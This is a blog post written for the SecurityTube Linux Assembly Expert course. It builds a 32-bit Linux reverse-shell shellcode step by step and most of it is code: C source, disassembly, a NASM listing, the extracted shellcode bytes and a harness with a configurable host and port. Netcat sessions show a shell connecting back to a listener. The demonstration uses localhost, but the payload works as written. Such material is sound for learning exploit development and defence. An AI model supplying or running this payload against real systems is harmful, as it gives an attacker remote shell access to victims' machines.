SLAE-473 Assignment #2 Reverse Shell

INTRODUCTION

This tutorial is part of the SecurityTube Linux Assembly Expert certification.
The goal of this assignment will be to create a Linux 32bit Shell_Reverse_TCP shellcode, i.e. reverse connects to configured IP and Port – Execs shell on successful connection.

The tutorial will contain example source with comments. Listed source code may have formatting issues so best place to obtain copies is from the projects Github repo.
Expected usage of this shellcode will be that when it’s executed on the ‘target’ system, the target system will initiate a TCP connection to another IP address and start an interactive shell on the target system.

This assignment will build from the previous bind shell assignment and so will not be reiterating explanations already covered there.

Note: Example shellcode contains null characters to help simplify demonstration and processor registers have not been cleared which may lead to issues if used within an exploit.

Erratum: Example shellcode has a new null free version which has been used for ‘Assignment 3 Egg Hunter’ example.

[target]->[client host:port]

METHODOLOGY

  1. Write shellcode in high level language, c.
  2. Extrapolate system calls and parameters to equivalent assembly code.
  3. Take assembly code of shellcode, place into high level language as array of hex values and run shellcode directly from program’s stack.

High Level Language Shellcode

#include <sys/socket.h>
#include <sys/types.h>
#include 
#include 
#include <netinet/in.h>

int main(void)
{
 char client_ip[] =  "127.0.0.1"; //IP address this program will connect back to
 int sock_file_descripter;
 int network_port = 3333;//tcp port that shell will bind to
 struct sockaddr_in mysockaddr;

 sock_file_descripter = socket(AF_INET, SOCK_STREAM, 0);

 //Initialize sockaddr_in struct with remote ip address to connect to
 mysockaddr.sin_family = AF_INET; //2, TCP protocol
 mysockaddr.sin_port = htons(network_port);//tcp port to connect on remote host
 mysockaddr.sin_addr.s_addr = inet_addr(client_ip);//IP address of remote host to connect back to.

 connect(sock_file_descripter, (struct sockaddr *)&mysockaddr, sizeof(struct sockaddr));

 dup2(sock_file_descripter, 0); //stdin
 dup2(sock_file_descripter, 1); //stdout
 dup2(sock_file_descripter, 2); //stderror

 execve("/bin/sh", NULL, NULL);//Execute shell command
 return 0;
}

reverse_shellcode.c

Compile using gcc

#gcc -g -static reverse_shellcode.c -o reverse_shellcode

Test shellcode

Start netcat listener on client

client$ nc -lvvvp 3333
listening on [any] 3333 ...

Start shellcode on target

$ ./reverse_shellcode

Client netcat listener will receive connection from target

client$ nc -lvvvp 3333
listening on [any] 3333 ...
connect to [127.0.0.1] from localhost [127.0.0.1] 57128

Client can issue shell command ‘id’ and receive result

client$ nc -lvvvp 3333
listening on [any] 3333 ...
connect to [127.0.0.1] from localhost [127.0.0.1] 57128
id
uid=1000(remote) gid=1001(remote) groups=1001(remote)
exit
 sent 8, rcvd 54

Shellcode Assembly

Our high level shellcode makes some system calls and we need to only extrapolate the assembly code which interests us.

These are the c function calls which interest us:

  1. socket()
  2. connect()
  3. dup2()
  4. execve()

Run strace to help visualize calls:

target$ strace -e socket,connect,dup2,execve ./reverse_shellcode 
execve("./reverse_shellcode", ["./reverse_shellcode"], [/* 30 vars */]) = 0
socket(PF_INET, SOCK_STREAM, IPPROTO_IP) = 3
connect(3, {sa_family=AF_INET, sin_port=htons(3333), sin_addr=inet_addr("127.0.0.1")}, 16) = 0
dup2(3, 0) = 0
dup2(3, 1) = 1
dup2(3, 2) = 2
execve("/bin/sh", [0], [/* 0 vars */]) = 0
--- SIGCHLD (Child exited) @ 0 (0) ---

strace output shows that after the shellcode binary is run the first system call is socket() with three parameters passed.
Next system call is connect() with three parameters. One of the parameters is a structure. We can obtain more detail from the man docs and by debugging.
dup2() is called three times with two parameters each time.
execve() is called with three parameters.

To recap, all the system call meanings have already been covered in assignment #1 of the bindshell except for connect(). In the following sections I will demonstrate how to go about obtaining information about the connect() syscall from Linux man docs, Linux kernel headers and the Gnu debugger. Or Google.

connect()

target$ man connect
---snip---
 connect - initiate a connection on a socket
...
 int connect(int sockfd, const struct sockaddr *addr, socklen_t addrlen);

DESCRIPTION
 The connect() system call connects the socket referred to by the file descriptor sockfd to the address specified by addr. The addrlen argument specifies the size of addr. The format of the address in addr is determined by the address space of the socket sockfd; see socket(2) for further details.

target$ grep -R sys_connect /usr/include/linux/net.h
#define SYS_CONNECT 3 /* sys_connect(2) */

Summary
Syscall name: connect
Syscall number: 3
Number of params: 3
Param 1: Socket file descriptor from previous socket() call
Param 2: Pointer to structure {2, 3333, 127.0.0.1}
Param 3: 16, length of param 2 in bytes
Returns: 0 on success

ASSEMBLE THE ASSEMBLY CODE

We can easily obtain the shellcode’s assembly representation by disassembling it through Objdump:

Look for main function

target$ objdump -d ./reverse_shellcode -M intel |grep '<_start>:' -A 300|less

08048254 :
 8048254: 55 push ebp
 8048255: 89 e5 mov ebp,esp
 8048257: 83 e4 f0 and esp,0xfffffff0
 804825a: 83 ec 40 sub esp,0x40
 804825d: c7 44 24 2e 31 32 37 mov DWORD PTR [esp+0x2e],0x2e373231
 8048264: 2e 
 8048265: c7 44 24 32 30 2e 30 mov DWORD PTR [esp+0x32],0x2e302e30
 804826c: 2e 
 804826d: 66 c7 44 24 36 31 00 mov WORD PTR [esp+0x36],0x31
 8048274: c7 44 24 3c 05 0d 00 mov DWORD PTR [esp+0x3c],0xd05
 804827b: 00 
 804827c: c7 44 24 08 00 00 00 mov DWORD PTR [esp+0x8],0x0
 8048283: 00 
 8048284: c7 44 24 04 01 00 00 mov DWORD PTR [esp+0x4],0x1
 804828b: 00 
 804828c: c7 04 24 02 00 00 00 mov DWORD PTR [esp],0x2
 8048293: e8 78 84 00 00 call 8050710 
 8048298: 89 44 24 38 mov DWORD PTR [esp+0x38],eax
 804829c: 66 c7 44 24 1c 02 00 mov WORD PTR [esp+0x1c],0x2
 80482a3: 8b 44 24 3c mov eax,DWORD PTR [esp+0x3c]
 80482a7: 0f b7 c0 movzx eax,ax
 80482aa: 89 04 24 mov DWORD PTR [esp],eax
 80482ad: e8 3e 8d 00 00 call 8050ff0 
 80482b2: 66 89 44 24 1e mov WORD PTR [esp+0x1e],ax
 80482b7: 8d 44 24 2e lea eax,[esp+0x2e]
 80482bb: 89 04 24 mov DWORD PTR [esp],eax
 80482be: e8 3d 88 00 00 call 8050b00 
 80482c3: 89 44 24 20 mov DWORD PTR [esp+0x20],eax
 80482c7: c7 44 24 08 10 00 00 mov DWORD PTR [esp+0x8],0x10
 80482ce: 00 
 80482cf: 8d 44 24 1c lea eax,[esp+0x1c]
 80482d3: 89 44 24 04 mov DWORD PTR [esp+0x4],eax
 80482d7: 8b 44 24 38 mov eax,DWORD PTR [esp+0x38]
 80482db: 89 04 24 mov DWORD PTR [esp],eax
 80482de: e8 6d 83 00 00 call 8050650 
 80482e3: c7 44 24 04 00 00 00 mov DWORD PTR [esp+0x4],0x0
 80482ea: 00 
 80482eb: 8b 44 24 38 mov eax,DWORD PTR [esp+0x38]
 80482ef: 89 04 24 mov DWORD PTR [esp],eax
 80482f2: e8 e9 77 00 00 call 804fae0 
 80482f7: c7 44 24 04 01 00 00 mov DWORD PTR [esp+0x4],0x1
 80482fe: 00 
 80482ff: 8b 44 24 38 mov eax,DWORD PTR [esp+0x38]
 8048303: 89 04 24 mov DWORD PTR [esp],eax
 8048306: e8 d5 77 00 00 call 804fae0 
 804830b: c7 44 24 04 02 00 00 mov DWORD PTR [esp+0x4],0x2
 8048312: 00 
 8048313: 8b 44 24 38 mov eax,DWORD PTR [esp+0x38]
 8048317: 89 04 24 mov DWORD PTR [esp],eax
 804831a: e8 c1 77 00 00 call 804fae0 
 804831f: c7 44 24 08 00 00 00 mov DWORD PTR [esp+0x8],0x0
 8048326: 00 
 8048327: c7 44 24 04 00 00 00 mov DWORD PTR [esp+0x4],0x0
 804832e: 00 
 804832f: c7 04 24 c8 af 0a 08 mov DWORD PTR [esp],0x80aafc8
 8048336: e8 f5 74 00 00 call 804f830 
 804833b: b8 00 00 00 00 mov eax,0x0
 8048340: c9 leave 
 8048341: c3 ret

After tracing the shellcode through Gnu debugger this is my final assembly code presented in nasm format.

; shellcode.asm 
; Author: Mutti K
; Purpose: Demonstration of simple reverse shell
; Note: null values have not been omitted for the purpose of simplification.

global _start

section .text

_start:

 ; socket()
 mov eax, 0x66 ;socketcall()
 mov ebx, 0x1 ; socket() socketcall() sub call number
 push 0x0 ; Param 3. Reverse order params onto stack
 push 0x1 ; Param 2
 push 0x2 ; Param 1
 mov ecx, esp ; store stack point of socket arguments
 int 0x80
 mov esi, eax ; store newly created socket file descriptor for later use
 
 ; connect()
 mov eax, 0x66 ;socketcall()
 mov ebx, 0x3 ; connect() socketcall() sub call number
 ;Create structure on stack for param 2.
 push 0x00000000 ; bytes 16-12, not needed
 push 0x00000000 ; bytes 12-18, not needed
 push 0x0100007f ; bytes 8-4, connect to ip address 127.0.0.1. 127d 0d 0d 1d = reverse 01h 00h 00h 7fh
 push WORD 0x050d ; Port number to listen on 3333d d05h. Reverse byte order and in hex, bytes 4-2
 push WORD 0x02 ; AF_INET, bytes 2-0
 mov edi, esp ; store pointer to structure for param 2 of bind()
 ; Reverse order params for bind() onto stack
 push 0x10 ; Param 3 is length of param 2 structure
 push edi ; Param 2 pointer to structure
 push esi ; Param 1, socket file descriptor from socket() call
 mov ecx, esp ; store stack point of socket arguments
 int 0x80

 ; dup2()
 mov eax, 0x3f ; dup2()
 mov ecx, 0x0 ; oldfd, stdin
 mov ebx, esi ; newfd, returned fd from socket()
 int 0x80

 ; dup2()
 mov eax, 0x3f ; dup2()
 mov ecx, 0x1 ; oldfd, stdout
 mov ebx, esi ; newfd, returned fd from socket()
 int 0x80

 ; dup2()
 mov eax, 0x3f ; dup2()
 mov ecx, 0x2 ; oldfd, stderror
 mov ebx, esi ; newfd, returned fd from socket()
 int 0x80

 ; execve()
 mov edx, 0x0 ; Param 3, null
 mov ecx, 0x0 ; Param 2, null
 ;create string on stack /bin/sh
 push 0x0068732f ; hs/
 push 0x6e69622f ; nib/
 mov ebx, esp ; Param 1 store pointer to string
 mov eax, 0xb ; execve()
 int 0x80

To compile, issue

target$ nasm -f elf32 -o shellcode.o shellcode.nasm
target$ ld -o shellcode shellcode.o

Final test is to see if it can run within skeleton c code from the stack.

Convert shellcode to byte representations

$ for i in `objdump -d shellcode | tr '\t' ' ' | tr ' ' '\n' | egrep '^[0-9a-f]{2}$' ` ; do echo -n "\x$i" ; done
\xb8\x66\x00\x00\x00\xbb\x01\x00\x00\x00\x6a\x00\x6a\x01\x6a\x02\x89\xe1\xcd\x80\x89\xc6\xb8\x66\x00\x00\x00\xbb\x03\x00\x00\x00\x6a\x00\x6a\x00\x68\x7f\x00\x00\x01\x66\x68\x0d\x05\x66\x6a\x02\x89\xe7\x6a\x10\x57\x56\x89\xe1\xcd\x80\xb8\x3f\x00\x00\x00\xb9\x00\x00\x00\x00\x89\xf3\xcd\x80\xb8\x3f\x00\x00\x00\xb9\x01\x00\x00\x00\x89\xf3\xcd\x80\xb8\x3f\x00\x00\x00\xb9\x02\x00\x00\x00\x89\xf3\xcd\x80\xba\x00\x00\x00\x00\xb9\x00\x00\x00\x00\x68\x2f\x73\x68\x00\x68\x2f\x62\x69\x6e\x89\xe3\xb8\x0b\x00\x00\x00\xcd\x80

Place shellcode into skeleton c code and modify slightly to allow configurable port number.

#include
#include

#define PORT_NUMBER "\x0d\x05" //od05 = 3333d
#define HOST "\x7f\x00\x00\x01" //7fh 00h 00h 01h = 127d 0d 0d 0d 1d

unsigned char code[] = \
"\xb8\x66\x00\x00\x00\xbb\x01\x00"
"\x00\x00\x6a\x00\x6a\x01\x6a\x02"
"\x89\xe1\xcd\x80\x89\xc6\xb8\x66"
"\x00\x00\x00\xbb\x03\x00\x00\x00"
"\x6a\x00\x6a\x00\x68"HOST
"\x66\x68"PORT_NUMBER"\x66\x6a\x02"
"\x89\xe7\x6a\x10\x57\x56\x89\xe1"
"\xcd\x80\xb8\x3f\x00\x00\x00\xb9"
"\x00\x00\x00\x00\x89\xf3\xcd\x80"
"\xb8\x3f\x00\x00\x00\xb9\x01\x00"
"\x00\x00\x89\xf3\xcd\x80\xb8\x3f"
"\x00\x00\x00\xb9\x02\x00\x00\x00"
"\x89\xf3\xcd\x80\xba\x00\x00\x00"
"\x00\xb9\x00\x00\x00\x00\x68\x2f"
"\x73\x68\x00\x68\x2f\x62\x69\x6e"
"\x89\xe3\xb8\x0b\x00\x00\x00\xcd\x80";

main()
{
 printf("Shellcode Length: %d\n", sizeof(code)-1);
 int (*ret)() = (int(*)())code;
 ret();
}

And compile new test code with executable stack.

target$ gcc -o ./reverse_shellcode_skeleton shellcode_skeleton.c -fno-stack-protector -z execstack

Test the reverse bind shell by connecting to netcat listener on 127.0.0.1 port 3333

start listener

$ nc -lvvvp 3333
listening on [any] 3333 ...

Start reverse shellcode on target

$ ./reverse_shellcode_skeleton 
Shellcode Length: 129

listener receives tcp connection and interacts with remote shell

$ nc -lvvvp 3333
listening on [any] 3333 ...
connect to [127.0.0.1] from localhost [127.0.0.1] 57352
id
uid=1000(remote) gid=1001(remote) groups=1001(remote)
exit
 sent 8, rcvd 54

Thank you


This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification:

http://www.securitytube-training.com/online-courses/securitytube-linux-assembly-expert/

Student-ID: SLAE-473


2 thoughts on “SLAE-473 Assignment #2 Reverse Shell

  1. Pingback: SLAE-473 ASSIGNMENT #3 Egg Hunter Shellcode | youremindmeofmymother

Leave a Reply

Fill in your details below or click an icon to log in:

WordPress.com Logo

You are commenting using your WordPress.com account. Log Out /  Change )

Facebook photo

You are commenting using your Facebook account. Log Out /  Change )

Connecting to %s